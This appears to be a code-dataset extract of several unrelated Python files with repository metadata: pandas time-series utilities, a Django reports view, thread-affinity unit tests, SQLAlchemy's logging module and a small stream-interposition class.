listed if is_arr(ts)] if len(arrs): return _np_index(arrs, index) else: return None def df_columns(seq, index = 'inner'): listed = _list(seq) indexes= [ts.columns for ts in listed if is_df(ts) and ts.shape[1]>1 and len(set(ts.columns)) == ts.shape[1]] if len(indexes): return _df_index(indexes, index) arrs = [ts.shape[1] for ts in listed if (is_arr(ts) or is_df(ts)) and len(ts.shape)>1 and ts.shape[1]>1] if len(arrs): return _np_index(arrs, index) return None @loop(list, tuple, dict) def _df_fillna(df, method = None, axis = 0, limit = None): methods = as_list(method) if len(methods) == 0: return df if is_arr(df): return df_fillna(pd.DataFrame(df) if len(df.shape)==2 else pd.Series(df), method, axis, limit).values res = df for m in methods: if is_num(m): res = res.fillna(value = m, axis = axis, limit = limit) elif m in ['backfill', 'bfill', 'pad', 'ffill']: res = res.fillna(method = m, axis = axis, limit = limit) elif m in ('fnna', 'nona'): nonan = ~np.isnan(res) if len(res.shape)==2: nonan = nonan.max(axis=1) if m == 'fnna': nonan = nonan[nonan.values] if len(nonan): res = res[nonan.index[0]:] else: res = res.iloc[:0] elif m == 'nona': res = res[nonan.values] else: if is_num(limit) and limit<0: res = res.interpolate(method = m, axis = axis, limit = abs(limit), limit_direction = 'backward') else: res = res.interpolate(method = m, axis = axis, limit = limit) return res def df_fillna(df, method = None, axis = 0, limit = None): return _df_fillna(df, method = method, axis = axis, limit = limit) @loop(dict, list, tuple) def _nona(df, value = np.nan): if np.isnan(value): mask = np.isnan(df) elif np.isinf(value): mask = np.isinf(df) else: mask = df == value if len(mask.shape) == 2: mask = mask.min(axis=1) == 1 return df[~mask] def nona(a, value = np.nan): return _nona(a) @loop(list, tuple, dict) def _df_reindex(ts, index, method = None, limit = None): methods = as_list(method) if is_pd(ts): if is_int(index): raise ValueError('trying to reindex dataframe %s using numpy interval length %i'%(ts, index)) if len(methods) and methods[0] in ['backfill', 'bfill', 'pad', 'ffill']: res = _nona(ts).reindex(index, method = methods[0], limit = limit) res = _df_fillna(res, method = methods[1:], limit = limit) else: res = ts.reindex(index) res = _df_fillna(res, method = method, limit = limit) return res elif is_arr(ts): if isinstance(index, pd.Index): if len(index) == len(ts): return ts else: raise ValueError('trying to reindex numpy array %s using pandas index %s'%(ts, index)) elif is_int(index): if index<len(ts): res = ts[-index:] elif index>len(ts): shape = (index - len(ts),) + ts.shape[1:] res = np.concatenate([np.full(shape, np.nan),ts]) else: res = ts return df_fillna(res, method = methods, limit = limit) else: return ts else: return ts @loop(list, tuple, dict) def _df_recolumn(ts, columns): if columns is not None and is_df(ts) and ts.shape[1] > 1 and len(set(ts.columns)) == ts.shape[1]: return pd.DataFrame({col: ts[col].values if col in ts.columns else np.nan for col in columns}, index = ts.index) else: return ts def df_recolumn(ts, columns = None): return _df_recolumn(ts, columns) def np_reindex(ts, index, columns = None): if is_pd(index): index = index.index if len(index)>len(ts): index = index[-len(ts):] elif len(index)<len(ts): ts = ts[-len(index):] res = pd.Series(ts, index) if len(ts.shape)<2 else pd.DataFrame(ts, index) if columns is not None: if is_df(columns): columns = columns.columns res.columns = columns return res def df_reindex(ts, index = None, method = None, limit = None): if index is None: return ts elif is_str(index): index = df_index(ts, index) elif is_ts(index): index = index.index elif is_arr(index): index = pd.Index(index) return _df_reindex(ts, index = index, method = method, limit = limit) def df_concat(objs, columns = None, axis=1, join = 'outer'): if isinstance(objs, dict): columns = list(objs.keys()) objs = list(objs.values()) if isinstance(objs, list): df_objs = [o for o in objs if is_pd(o)] res = pd.concat(df_objs, axis = axis, join = join) if len(df_objs) < len(objs): df_objs = [o if is_pd(o) else pd.Series(o, res.index) for o in objs] res = pd.concat(df_objs, axis = axis, join = join) elif isinstance(objs, pd.DataFrame): res = objs.copy() if columns is not None else objs if columns is not None: if isinstance(columns, list): res.columns = columns else: res = res.rename(columns = columns) return res @loop(list, dict, tuple) def _df_column(ts, column, i = None, n = None): if is_df(ts): if ts.shape[1] == 1: return ts[ts.columns[0]] elif column in ts.columns: return ts[column] elif column is None and i is not None: if len(set(ts.columns)) == ts.shape[1]: raise ValueError('trying to grab %ith column from a dataframe with proper columns: %s'%(i, ts.columns)) elif n is not None and ts.shape[1]!=n: raise ValueError('trying to grab %ith column and asserting must have %i columns but have %i'%(i, n, ts.shape[1])) else: if i<ts.shape[1]: return ts.iloc[:,i] else: return np.nan else: return np.nan elif is_arr(ts) and len(ts.shape) == 2: if ts.shape[1] == 1: return ts.T[0] elif i is not None: if n is not None and ts.shape[1]!=n: raise ValueError('trying to grab %ith column and asserting must have %i columns but have %i'%(i, n, ts.shape[1])) elif i<ts.shape[1]: return ts.T[i] else: return np.nan else: return ts else: return ts def df_column(ts, column, i = None, n = None): return _df_column(ts = ts, column = column, i = i, n = n) def _convert(res, columns): values = list(res.values()) if is_tss(values): return pd.DataFrame(res) elif is_arrs(values) and is_int(columns): return np.array(values).T elif is_tuples(values): return tuple([_convert(dict(zip(res.keys(), row)), columns) for row in zipper(*values)]) else: return np.array(values) if is_int(columns) else pd.Series(res) def df_sync(dfs, join = 'ij', method = None, columns = 'ij'): if isinstance(dfs, dict): values = list(dfs.values()) elif isinstance(dfs, (list, tuple)): values = list(dfs) else: return dfs listed = _list(values) tss = [ts for ts in listed if is_ts(ts)] index = df_index(listed, join) dfs = df_reindex(dfs, index, method = method) ### now we do the columns if columns is False or columns is None: return dfs else: cols = df_columns(tss, columns) dfs = df_recolumn(dfs, cols) return dfs class presync(wrapper): def __init__(self, function = None, index = 'inner', method = None, columns = 'inner', default = np.nan): super(presync, self).__init__(function = function, index = index, method = method, columns = columns , default = default) @property def ij(self): return copy(self) + dict(index = 'inner') @property def oj(self): return self + dict(index = 'outer') @property def lj(self): return self + dict(index = 'left') @property def rj(self): return self + dict(index = 'right') @property def ffill(self): return copy(self) + dict(method = 'ffill') @property def bfill(self): return self + dict(method = 'bfill') def wrapped(self, *args, **kwargs): _idx = kwargs.pop('join', self.index) _method = kwargs.pop('method', self.method) _columns = kwargs.pop('columns', self.columns) values = list(args) + list(kwargs.values()) listed = _list(values) tss = [ts for ts in listed if is_ts(ts)] callargs = inspect.getcallargs(self.function, *args, **kwargs) if is_str(_idx) and _idx in callargs: index = _index(callargs[_idx]) else: index = df_index(listed, _idx) args_= df_reindex(args, index, method = _method) kwargs_= df_reindex(kwargs, index, method = _method) ### now we do the columns if _columns is False: return self.function(*args_, **kwargs_) else: cols = [tuple(ts.columns) for ts in tss if is_df(ts) and ts.shape[1]>1] if len(set(cols))==1: # special case where all 2-d dataframes have same column headers columns = cols[0] n = len(columns) res = {column: self.function(*df_column(args_,column = column, i = i, n = n), **df_column(kwargs_, column=column, i = i, n = n)) for i, column in enumerate(columns)} else: columns = df_columns(listed, _columns) if is_int(columns): res = {i: self.function(*df_column(args_, column = None, i = i), **df_column(kwargs_, column=None, i = i)) for i in range(columns)} elif columns is None: return self.function(*df_column(args_, column = None), **df_column(kwargs_, column = None)) else: columns = list(columns) if isinstance(columns, pd.Index) else as_list(columns) columns = sorted(columns) res = {column: self.function(*df_column(args_,column = column), **df_column(kwargs_, column=column)) for column in columns} converted = _convert(res, columns) return converted @presync def _div_(a, b): return a/b @presync def _sub_(a, b): return a-b @presync def _add_(a, b): return a + b @presync def _mul_(a, b): return a * b @presync def _pow_(a, b): return a**b def add_(a, b = None, join = 'ij', method = None, columns = 'ij'): dfs = as_list(a) + as_list(b) f = lambda a, b: _add_(a, b, join = join, method = method, columns = columns) return reducer(f, dfs) def mul_(a, b = None, join = 'ij', method = None, columns = 'ij'): dfs = as_list(a) + as_list(b) f = lambda a, b: _mul_(a, b, join = join, method = method, columns = columns) return reducer(f, dfs) def div_(a, b, join = 'ij', method = None, columns = 'ij'): if isinstance(a, list): a = mul_(a, join = join, method = method, columns = columns) if isinstance(b, list): b = mul_(b, join = join, method = method, columns = columns) return _div_(a, b, join = join, method = method, columns = columns) def sub_(a, b, join = 'ij', method = None, columns = 'ij'): if isinstance(a, list): a = add_(a, join = join, method = method, columns = columns) if isinstance(b, list): b = add_(b, join = join, method = method, columns = columns) return _sub_(a, b, join = join, method = method, columns = columns) def pow_(a, b, join = 'ij', method = None, columns = 'ij'): return _pow_(a,b, join = join, method = method, columns = columns) def min_(a, b = None, join = 'ij', method = None, columns = 'ij'): dfs = as_list(a) + as_list(b) dfs = df_sync(dfs, join = join, method = method, columns = columns) return reducer(np.minimum, dfs) def max_(a, b = None, join = 'ij', method = None, columns = 'ij'): dfs = as_list(a) + as_list(b) dfs = df_sync(dfs, join = join, method = method, columns = columns) return reducer(np.maximum, dfs) def _closed(oc): if oc in '()oO': return False elif oc in '[]cC': return True else: raise ValueError('not sure how to parse boundary %s'%oc) def _df_slice(df, lb = None, ub = None, openclose = '[)'): if isinstance(df, (pd.Index, pd.Series, pd.DataFrame)) and len(df)>0 and (ub is not None or lb is not None): l,u = openclose if openclose else '[)' l = _closed(l); u = _closed(u) if is_ts(df): lb = lb if lb is None or isinstance(lb, datetime.time) else dt(lb) ub = ub if ub is None or isinstance(ub, datetime.time) else dt(ub) if (l or lb is None) and (u or ub is None): try: return df[lb:ub] except Exception: pass elif (l or lb is None) and (ub is None or not u): try: return df[lb:ub] except Exception: pass if lb is not None: index = df if isinstance(df, pd.Index) else df.index if isinstance(lb, datetime.time): index = index.time df = df[index>=lb] if l else df[index>lb] if ub is not None: index = df if isinstance(df, pd.Index) else df.index if isinstance(ub, datetime.time): index = index.time df = df[index<=ub] if u else df[index<ub] return df def df_slice(df, lb = None, ub = None, openclose = '(]', n = 1): if isinstance(lb, tuple) and len(lb) == 2 and ub is None: lb, ub = lb if isinstance(ub, datetime.time) and isinstance(lb, datetime.time) and lb>ub: pre = df_slice(df, None, ub) post = df_slice(df, lb, None) return pd.concat([pre, post]).sort_index() if isinstance(df, list): if isinstance(lb, list) and ub is None: ub = lb[1:] + [None] elif isinstance(ub, list) and lb is None: lb = [None] + ub[:-1] boundaries = sorted(set([date for date in lb + ub if date is not None])) df = [d if is_pd(d) else pd.Series(d, boundaries) for d in df] if n > 1: df = [pd.concat(df[i: i+n], axis = 1) for i in range(len(df))] for d in df: d.columns = range(d.shape[1]) dfs = as_list(df) dlu = zipper(dfs, lb, ub) res = [_df_slice(d, lb = l, ub = u, openclose = openclose) for d, l, u in dlu] if len(res) == 0: return None elif len(res) == 1: return res[0] elif isinstance(lb, list) and isinstance(ub, list): res = pd.concat(res) return res def df_unslice(df, ub): n = df.shape[1] if is_df(df) else 1 res = dictable(ub = ub, lb = [None] + ub[:-1], i = range(len(ub))) res = res(ts = lambda lb, ub: df_slice(df, lb, ub, '(]')) res = res(rs = lambda i, ts: dictable(u = ub[i: i+n], j = range(len(ub[i: i+n])))(ts = lambda j: ts[j])) rs = dictable.concat(res.rs).listby('u').do([pd.concat, nona], 'ts') return dict(rs['u', 'ts'])

true

f70509cbebb9afd7e84c6f7a0db27094fc3c5d62

1,155

py

Python

bis/apps/gepiandashboard/views/reports.py

AgustinMachiavello/business-incubation-system

983e1308697771570891568f99d1b8ba74441d32

[ "MIT" ]

2

2021-03-03T16:16:42.000Z

2021-03-08T22:43:10.000Z

bis/apps/gepiandashboard/views/reports.py

AgustinMachiavello/business-incubation-system

983e1308697771570891568f99d1b8ba74441d32

[ "MIT" ]

null

bis/apps/gepiandashboard/views/reports.py

AgustinMachiavello/business-incubation-system

983e1308697771570891568f99d1b8ba74441d32

[ "MIT" ]

null

"""Reports views""" # Django from django.views.generic import TemplateView # Shortcuts from django.shortcuts import render from django.shortcuts import redirect, reverse, get_object_or_404 from django.contrib.auth import authenticate from django.http import ( HttpResponse, HttpResponseNotFound, HttpResponseServerError, HttpResponseRedirect, ) # Rest framework from rest_framework.views import APIView from rest_framework import status from rest_framework.permissions import ( IsAuthenticated, IsAdminUser, ) from rest_framework.authentication import SessionAuthentication, BasicAuthentication # Menus from ...incubator.helpers.helperDictionaries import getReportsIndexMenus, getReportIndexAnalytics class ReportsIndex(TemplateView): template_name = 'gepiandashboard/pages/reports_index.html' context = {} def get(self, request): if not request.user.is_authenticated: return render(request, 'errors/401.html') self.context['menus'] = getReportsIndexMenus() self.context['analytics'] = getReportIndexAnalytics() return render(request, self.template_name, self.context)

29.615385

97

0.772294

from django.views.generic import TemplateView from django.shortcuts import render from django.shortcuts import redirect, reverse, get_object_or_404 from django.contrib.auth import authenticate from django.http import ( HttpResponse, HttpResponseNotFound, HttpResponseServerError, HttpResponseRedirect, ) from rest_framework.views import APIView from rest_framework import status from rest_framework.permissions import ( IsAuthenticated, IsAdminUser, ) from rest_framework.authentication import SessionAuthentication, BasicAuthentication from ...incubator.helpers.helperDictionaries import getReportsIndexMenus, getReportIndexAnalytics class ReportsIndex(TemplateView): template_name = 'gepiandashboard/pages/reports_index.html' context = {} def get(self, request): if not request.user.is_authenticated: return render(request, 'errors/401.html') self.context['menus'] = getReportsIndexMenus() self.context['analytics'] = getReportIndexAnalytics() return render(request, self.template_name, self.context)

true

f7050b4939e82b1488b36ea71d1c8a68281e80ae

1,683

py

Python

test/TestThreadAffinityLibrary.py

srgrr/thread_affinity

56c8a50ea3fed276143a3794b8698d25816ca4a9

[ "Apache-2.0" ]

3

2018-11-30T11:11:34.000Z

2020-08-12T16:48:36.000Z

test/TestThreadAffinityLibrary.py

srgrr/thread_affinity

56c8a50ea3fed276143a3794b8698d25816ca4a9

[ "Apache-2.0" ]

1

2019-09-28T23:08:21.000Z

test/TestThreadAffinityLibrary.py

bsc-wdc/thread_affinity

56c8a50ea3fed276143a3794b8698d25816ca4a9

[ "Apache-2.0" ]

null

import unittest import random import subprocess import signal import sys import os import thread_affinity # Test results may vary if executed in different systems # with different amount of CPUUs def get_random_mask(): """Return a random, valid affinity mask Which is a subset of {0, 1, ..., 2 ** num_procs - 1} """ num_procs = thread_affinity.get_nprocs() r = random.randint(1, 2 ** num_procs) return [i for i in range(num_procs) if (r & (1 << i))] class TestThreadAffinityLibrary(unittest.TestCase): """Test basic Thread Affinity features. """ def test_set_get_affinity(self): """Test if a simple set & get works """ random.seed(1) proc_list = get_random_mask() thread_affinity.setaffinity(proc_list) self.assertEqual(proc_list, thread_affinity.get_affinity()) def test_set_get_incorrect_affinity(self): """Test if the program sets the default affinity in case of illegal masks """ illegal_mask = [-1] default_affinity = thread_affinity.get_default_affinity() thread_affinity.setaffinity(illegal_mask) self.assertEqual(default_affinity, thread_affinity.get_affinity()) def test_set_get_affinity_subprocess(self): """Test if the affinity of a subprocess can be controlled from above """ random.seed(3) proc_list = get_random_mask() import subprocess proc = subprocess.Popen(["python", "-c", "while True: pass"]) thread_affinity.set_affinity(proc_list, proc.pid) self.assertEqual(proc_list, thread_affinity.get_affinity(proc.pid)) proc.send_signal(signal.SIGKILL) if __name__ == '__main__': suite = unittest.TestLoader().loadTestsFromTestCase(TestThreadAffinityLibrary) unittest.TextTestRunner(verbosity = 2).run(suite)

30.6

79

0.758764

import unittest import random import subprocess import signal import sys import os import thread_affinity def get_random_mask(): num_procs = thread_affinity.get_nprocs() r = random.randint(1, 2 ** num_procs) return [i for i in range(num_procs) if (r & (1 << i))] class TestThreadAffinityLibrary(unittest.TestCase): def test_set_get_affinity(self): random.seed(1) proc_list = get_random_mask() thread_affinity.setaffinity(proc_list) self.assertEqual(proc_list, thread_affinity.get_affinity()) def test_set_get_incorrect_affinity(self): illegal_mask = [-1] default_affinity = thread_affinity.get_default_affinity() thread_affinity.setaffinity(illegal_mask) self.assertEqual(default_affinity, thread_affinity.get_affinity()) def test_set_get_affinity_subprocess(self): random.seed(3) proc_list = get_random_mask() import subprocess proc = subprocess.Popen(["python", "-c", "while True: pass"]) thread_affinity.set_affinity(proc_list, proc.pid) self.assertEqual(proc_list, thread_affinity.get_affinity(proc.pid)) proc.send_signal(signal.SIGKILL) if __name__ == '__main__': suite = unittest.TestLoader().loadTestsFromTestCase(TestThreadAffinityLibrary) unittest.TextTestRunner(verbosity = 2).run(suite)

true

f7050b93fb88c44b9196e0bbbdaf73e49e3cfa6c

8,633

py

Python

lib/sqlalchemy/log.py

sqlalchemy-bot/sqlalchemy

c0736e0b2a3bf8c0952db84f5b9943df9ebf18f7

[ "MIT" ]

null

lib/sqlalchemy/log.py

sqlalchemy-bot/sqlalchemy

c0736e0b2a3bf8c0952db84f5b9943df9ebf18f7

[ "MIT" ]

null

lib/sqlalchemy/log.py

sqlalchemy-bot/sqlalchemy

c0736e0b2a3bf8c0952db84f5b9943df9ebf18f7

[ "MIT" ]

null

# sqlalchemy/log.py # Copyright (C) 2006-2022 the SQLAlchemy authors and contributors # <see AUTHORS file> # Includes alterations by Vinay Sajip vinay_sajip@yahoo.co.uk # # This module is part of SQLAlchemy and is released under # the MIT License: https://www.opensource.org/licenses/mit-license.php """Logging control and utilities. Control of logging for SA can be performed from the regular python logging module. The regular dotted module namespace is used, starting at 'sqlalchemy'. For class-level logging, the class name is appended. The "echo" keyword parameter, available on SQLA :class:`_engine.Engine` and :class:`_pool.Pool` objects, corresponds to a logger specific to that instance only. """ from __future__ import annotations import logging import sys from typing import Any from typing import Optional from typing import overload from typing import Set from typing import Type from typing import TypeVar from typing import Union from .util import py311 from .util import py38 from .util.typing import Literal if py38: STACKLEVEL = True # needed as of py3.11.0b1 # #8019 STACKLEVEL_OFFSET = 2 if py311 else 1 else: STACKLEVEL = False STACKLEVEL_OFFSET = 0 _IT = TypeVar("_IT", bound="Identified") _EchoFlagType = Union[None, bool, Literal["debug"]] # set initial level to WARN. This so that # log statements don't occur in the absence of explicit # logging being enabled for 'sqlalchemy'. rootlogger = logging.getLogger("sqlalchemy") if rootlogger.level == logging.NOTSET: rootlogger.setLevel(logging.WARN) def _add_default_handler(logger: logging.Logger) -> None: handler = logging.StreamHandler(sys.stdout) handler.setFormatter( logging.Formatter("%(asctime)s %(levelname)s %(name)s %(message)s") ) logger.addHandler(handler) _logged_classes: Set[Type["Identified"]] = set() def _qual_logger_name_for_cls(cls: Type["Identified"]) -> str: return ( getattr(cls, "_sqla_logger_namespace", None) or cls.__module__ + "." + cls.__name__ ) def class_logger(cls: Type[_IT]) -> Type[_IT]: logger = logging.getLogger(_qual_logger_name_for_cls(cls)) cls._should_log_debug = lambda self: logger.isEnabledFor( # type: ignore[assignment] # noqa: E501 logging.DEBUG ) cls._should_log_info = lambda self: logger.isEnabledFor( # type: ignore[assignment] # noqa: E501 logging.INFO ) cls.logger = logger _logged_classes.add(cls) return cls _IdentifiedLoggerType = Union[logging.Logger, "InstanceLogger"] class Identified: __slots__ = () logging_name: Optional[str] = None logger: _IdentifiedLoggerType _echo: _EchoFlagType def _should_log_debug(self) -> bool: return self.logger.isEnabledFor(logging.DEBUG) def _should_log_info(self) -> bool: return self.logger.isEnabledFor(logging.INFO) class InstanceLogger: """A logger adapter (wrapper) for :class:`.Identified` subclasses. This allows multiple instances (e.g. Engine or Pool instances) to share a logger, but have its verbosity controlled on a per-instance basis. The basic functionality is to return a logging level which is based on an instance's echo setting. Default implementation is: 'debug' -> logging.DEBUG True -> logging.INFO False -> Effective level of underlying logger ( logging.WARNING by default) None -> same as False """ # Map echo settings to logger levels _echo_map = { None: logging.NOTSET, False: logging.NOTSET, True: logging.INFO, "debug": logging.DEBUG, } _echo: _EchoFlagType __slots__ = ("echo", "logger") def __init__(self, echo: _EchoFlagType, name: str): self.echo = echo self.logger = logging.getLogger(name) # if echo flag is enabled and no handlers, # add a handler to the list if self._echo_map[echo] <= logging.INFO and not self.logger.handlers: _add_default_handler(self.logger) # # Boilerplate convenience methods # def debug(self, msg: str, *args: Any, **kwargs: Any) -> None: """Delegate a debug call to the underlying logger.""" self.log(logging.DEBUG, msg, *args, **kwargs) def info(self, msg: str, *args: Any, **kwargs: Any) -> None: """Delegate an info call to the underlying logger.""" self.log(logging.INFO, msg, *args, **kwargs) def warning(self, msg: str, *args: Any, **kwargs: Any) -> None: """Delegate a warning call to the underlying logger.""" self.log(logging.WARNING, msg, *args, **kwargs) warn = warning def error(self, msg: str, *args: Any, **kwargs: Any) -> None: """ Delegate an error call to the underlying logger. """ self.log(logging.ERROR, msg, *args, **kwargs) def exception(self, msg: str, *args: Any, **kwargs: Any) -> None: """Delegate an exception call to the underlying logger.""" kwargs["exc_info"] = 1 self.log(logging.ERROR, msg, *args, **kwargs) def critical(self, msg: str, *args: Any, **kwargs: Any) -> None: """Delegate a critical call to the underlying logger.""" self.log(logging.CRITICAL, msg, *args, **kwargs) def log(self, level: int, msg: str, *args: Any, **kwargs: Any) -> None: """Delegate a log call to the underlying logger. The level here is determined by the echo flag as well as that of the underlying logger, and logger._log() is called directly. """ # inline the logic from isEnabledFor(), # getEffectiveLevel(), to avoid overhead. if self.logger.manager.disable >= level: return selected_level = self._echo_map[self.echo] if selected_level == logging.NOTSET: selected_level = self.logger.getEffectiveLevel() if level >= selected_level: if STACKLEVEL: kwargs["stacklevel"] = ( kwargs.get("stacklevel", 1) + STACKLEVEL_OFFSET ) self.logger._log(level, msg, args, **kwargs) def isEnabledFor(self, level: int) -> bool: """Is this logger enabled for level 'level'?""" if self.logger.manager.disable >= level: return False return level >= self.getEffectiveLevel() def getEffectiveLevel(self) -> int: """What's the effective level for this logger?""" level = self._echo_map[self.echo] if level == logging.NOTSET: level = self.logger.getEffectiveLevel() return level def instance_logger( instance: Identified, echoflag: _EchoFlagType = None ) -> None: """create a logger for an instance that implements :class:`.Identified`.""" if instance.logging_name: name = "%s.%s" % ( _qual_logger_name_for_cls(instance.__class__), instance.logging_name, ) else: name = _qual_logger_name_for_cls(instance.__class__) instance._echo = echoflag # type: ignore logger: Union[logging.Logger, InstanceLogger] if echoflag in (False, None): # if no echo setting or False, return a Logger directly, # avoiding overhead of filtering logger = logging.getLogger(name) else: # if a specified echo flag, return an EchoLogger, # which checks the flag, overrides normal log # levels by calling logger._log() logger = InstanceLogger(echoflag, name) instance.logger = logger # type: ignore class echo_property: __doc__ = """\ When ``True``, enable log output for this element. This has the effect of setting the Python logging level for the namespace of this element's class and object reference. A value of boolean ``True`` indicates that the loglevel ``logging.INFO`` will be set for the logger, whereas the string value ``debug`` will set the loglevel to ``logging.DEBUG``. """ @overload def __get__( self, instance: Literal[None], owner: Type[Identified] ) -> echo_property: ... @overload def __get__( self, instance: Identified, owner: Type[Identified] ) -> _EchoFlagType: ... def __get__( self, instance: Optional[Identified], owner: Type[Identified] ) -> Union[echo_property, _EchoFlagType]: if instance is None: return self else: return instance._echo def __set__(self, instance: Identified, value: _EchoFlagType) -> None: instance_logger(instance, echoflag=value)

29.565068

103

0.654697

from __future__ import annotations import logging import sys from typing import Any from typing import Optional from typing import overload from typing import Set from typing import Type from typing import TypeVar from typing import Union from .util import py311 from .util import py38 from .util.typing import Literal if py38: STACKLEVEL = True STACKLEVEL_OFFSET = 2 if py311 else 1 else: STACKLEVEL = False STACKLEVEL_OFFSET = 0 _IT = TypeVar("_IT", bound="Identified") _EchoFlagType = Union[None, bool, Literal["debug"]] # logging being enabled for 'sqlalchemy'. rootlogger = logging.getLogger("sqlalchemy") if rootlogger.level == logging.NOTSET: rootlogger.setLevel(logging.WARN) def _add_default_handler(logger: logging.Logger) -> None: handler = logging.StreamHandler(sys.stdout) handler.setFormatter( logging.Formatter("%(asctime)s %(levelname)s %(name)s %(message)s") ) logger.addHandler(handler) _logged_classes: Set[Type["Identified"]] = set() def _qual_logger_name_for_cls(cls: Type["Identified"]) -> str: return ( getattr(cls, "_sqla_logger_namespace", None) or cls.__module__ + "." + cls.__name__ ) def class_logger(cls: Type[_IT]) -> Type[_IT]: logger = logging.getLogger(_qual_logger_name_for_cls(cls)) cls._should_log_debug = lambda self: logger.isEnabledFor( # type: ignore[assignment] # noqa: E501 logging.DEBUG ) cls._should_log_info = lambda self: logger.isEnabledFor( # type: ignore[assignment] # noqa: E501 logging.INFO ) cls.logger = logger _logged_classes.add(cls) return cls _IdentifiedLoggerType = Union[logging.Logger, "InstanceLogger"] class Identified: __slots__ = () logging_name: Optional[str] = None logger: _IdentifiedLoggerType _echo: _EchoFlagType def _should_log_debug(self) -> bool: return self.logger.isEnabledFor(logging.DEBUG) def _should_log_info(self) -> bool: return self.logger.isEnabledFor(logging.INFO) class InstanceLogger: # Map echo settings to logger levels _echo_map = { None: logging.NOTSET, False: logging.NOTSET, True: logging.INFO, "debug": logging.DEBUG, } _echo: _EchoFlagType __slots__ = ("echo", "logger") def __init__(self, echo: _EchoFlagType, name: str): self.echo = echo self.logger = logging.getLogger(name) # if echo flag is enabled and no handlers, # add a handler to the list if self._echo_map[echo] <= logging.INFO and not self.logger.handlers: _add_default_handler(self.logger) # # Boilerplate convenience methods # def debug(self, msg: str, *args: Any, **kwargs: Any) -> None: self.log(logging.DEBUG, msg, *args, **kwargs) def info(self, msg: str, *args: Any, **kwargs: Any) -> None: self.log(logging.INFO, msg, *args, **kwargs) def warning(self, msg: str, *args: Any, **kwargs: Any) -> None: self.log(logging.WARNING, msg, *args, **kwargs) warn = warning def error(self, msg: str, *args: Any, **kwargs: Any) -> None: self.log(logging.ERROR, msg, *args, **kwargs) def exception(self, msg: str, *args: Any, **kwargs: Any) -> None: kwargs["exc_info"] = 1 self.log(logging.ERROR, msg, *args, **kwargs) def critical(self, msg: str, *args: Any, **kwargs: Any) -> None: self.log(logging.CRITICAL, msg, *args, **kwargs) def log(self, level: int, msg: str, *args: Any, **kwargs: Any) -> None: # inline the logic from isEnabledFor(), # getEffectiveLevel(), to avoid overhead. if self.logger.manager.disable >= level: return selected_level = self._echo_map[self.echo] if selected_level == logging.NOTSET: selected_level = self.logger.getEffectiveLevel() if level >= selected_level: if STACKLEVEL: kwargs["stacklevel"] = ( kwargs.get("stacklevel", 1) + STACKLEVEL_OFFSET ) self.logger._log(level, msg, args, **kwargs) def isEnabledFor(self, level: int) -> bool: if self.logger.manager.disable >= level: return False return level >= self.getEffectiveLevel() def getEffectiveLevel(self) -> int: level = self._echo_map[self.echo] if level == logging.NOTSET: level = self.logger.getEffectiveLevel() return level def instance_logger( instance: Identified, echoflag: _EchoFlagType = None ) -> None: if instance.logging_name: name = "%s.%s" % ( _qual_logger_name_for_cls(instance.__class__), instance.logging_name, ) else: name = _qual_logger_name_for_cls(instance.__class__) instance._echo = echoflag # type: ignore logger: Union[logging.Logger, InstanceLogger] if echoflag in (False, None): # if no echo setting or False, return a Logger directly, # avoiding overhead of filtering logger = logging.getLogger(name) else: # if a specified echo flag, return an EchoLogger, # which checks the flag, overrides normal log # levels by calling logger._log() logger = InstanceLogger(echoflag, name) instance.logger = logger # type: ignore class echo_property: __doc__ = """\ When ``True``, enable log output for this element. This has the effect of setting the Python logging level for the namespace of this element's class and object reference. A value of boolean ``True`` indicates that the loglevel ``logging.INFO`` will be set for the logger, whereas the string value ``debug`` will set the loglevel to ``logging.DEBUG``. """ @overload def __get__( self, instance: Literal[None], owner: Type[Identified] ) -> echo_property: ... @overload def __get__( self, instance: Identified, owner: Type[Identified] ) -> _EchoFlagType: ... def __get__( self, instance: Optional[Identified], owner: Type[Identified] ) -> Union[echo_property, _EchoFlagType]: if instance is None: return self else: return instance._echo def __set__(self, instance: Identified, value: _EchoFlagType) -> None: instance_logger(instance, echoflag=value)

true

f7050bd0c8ce3ae371a054a6377ad40107a35adf

602

py

Python

repl/InterposedIO.py

freeman-lab/pyrepl

d7312778e1f6d5afddbe51d1ae6f604fcf9fc73f

[ "MIT" ]

9

2018-03-17T01:59:08.000Z

2021-07-30T13:36:46.000Z

repl/InterposedIO.py

chanzuckerberg/pyrepl

c3c366a0c7178a0c00a839b489bfcd0929e220d7

[ "MIT" ]

null

repl/InterposedIO.py

chanzuckerberg/pyrepl

c3c366a0c7178a0c00a839b489bfcd0929e220d7

[ "MIT" ]

null

""" Stream IO interposition """ import io class InterposedStringIO(io.StringIO): def __init__(self, newline="\n", line_buffering = False, onflush=None): super().__init__(newline=newline) self._line_buffering = line_buffering self._onflush = onflush def flush(self): s = self.getvalue() self.seek(io.SEEK_SET, 0) self.truncate() if self._onflush: self._onflush(s) def write(self, s): super().write(s) if self._line_buffering and ('\n' in s or '\r' in s): self.flush()

25.083333

76

0.571429

import io class InterposedStringIO(io.StringIO): def __init__(self, newline="\n", line_buffering = False, onflush=None): super().__init__(newline=newline) self._line_buffering = line_buffering self._onflush = onflush def flush(self): s = self.getvalue() self.seek(io.SEEK_SET, 0) self.truncate() if self._onflush: self._onflush(s) def write(self, s): super().write(s) if self._line_buffering and ('\n' in s or '\r' in s): self.flush()

true

f7050c7044587c7a03a7e83f1453f954e296f2ad

49,770

py

Python

sdk/compute/azure-mgmt-compute/azure/mgmt/compute/v2017_03_30/aio/operations/_virtual_machine_scale_set_vms_operations.py

vincenttran-msft/azure-sdk-for-python

348b56f9f03eeb3f7b502eed51daf494ffff874d

[ "MIT" ]

1

2021-09-07T18:39:05.000Z

sdk/compute/azure-mgmt-compute/azure/mgmt/compute/v2017_03_30/aio/operations/_virtual_machine_scale_set_vms_operations.py

vincenttran-msft/azure-sdk-for-python

348b56f9f03eeb3f7b502eed51daf494ffff874d

[ "MIT" ]

null

sdk/compute/azure-mgmt-compute/azure/mgmt/compute/v2017_03_30/aio/operations/_virtual_machine_scale_set_vms_operations.py

vincenttran-msft/azure-sdk-for-python

348b56f9f03eeb3f7b502eed51daf494ffff874d

[ "MIT" ]

1

2022-03-04T06:21:56.000Z

